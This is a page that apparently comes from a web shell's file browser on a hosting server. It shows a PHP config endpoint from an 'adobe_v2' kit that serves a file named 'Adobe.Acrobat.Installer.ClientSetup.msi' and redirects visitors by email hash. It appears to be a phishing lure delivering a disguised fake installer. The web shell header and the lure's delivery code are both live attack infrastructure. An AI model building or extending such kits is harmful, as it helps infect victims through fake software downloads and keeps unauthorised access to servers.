HEX
Server: Apache
System: Linux r5.a1center.net 4.18.0-513.5.1.lve.el8.x86_64 #1 SMP Tue Nov 21 10:14:49 UTC 2023 x86_64
User: redpsiju (1623)
PHP: 8.2.32
Disabled: NONE
Upload Files
File: /home/redpsiju/.trash/adobe_v2/api/config.php
<?php
require_once __DIR__ . '/../common.php';
header('Content-Type: application/json');
$cfg = loadConfig();
$dl = $cfg['download'] ?? [];
$redirectBase = $cfg['redirect']['with_email_hash'] ?? '';
$useLocal = $dl['use_local'] ?? true;
$filename = $dl['local_filename'] ?? 'Adobe.Acrobat.Installer.ClientSetup.msi';
$path = $UPLOADS_DIR . '/' . $filename;

// App base path - MUST stay inside containing folder (not root public)
// Derive from REQUEST_URI: /txiv/api/config.php -> base = /txiv
$basePath = '';
if (!empty($_SERVER['REQUEST_URI'])) {
    $uri = preg_replace('/\?.*/', '', $_SERVER['REQUEST_URI']);
    $uri = '/' . trim($uri, '/');
    if (preg_match('#^(.+)/api/config\.php$#i', $uri, $m)) {
        $basePath = rtrim($m[1], '/');
    }
}
if (empty($basePath) && !empty($_SERVER['SCRIPT_NAME'])) {
    $scriptDir = dirname(str_replace('\\', '/', $_SERVER['SCRIPT_NAME']));
    $basePath = ($scriptDir === '/' || $scriptDir === '' || $scriptDir === '.') ? '' : rtrim($scriptDir, '/');
}

if ($useLocal && file_exists($path)) {
    $downloadUrl = $basePath . '/download.php?f=' . urlencode($filename);
    echo json_encode(['download_url' => $downloadUrl, 'redirect_base' => $redirectBase, 'local_filename' => $filename]);
} else {
    echo json_encode(['download_url' => $dl['external_url'] ?? '', 'redirect_base' => $redirectBase, 'local_filename' => $filename]);
}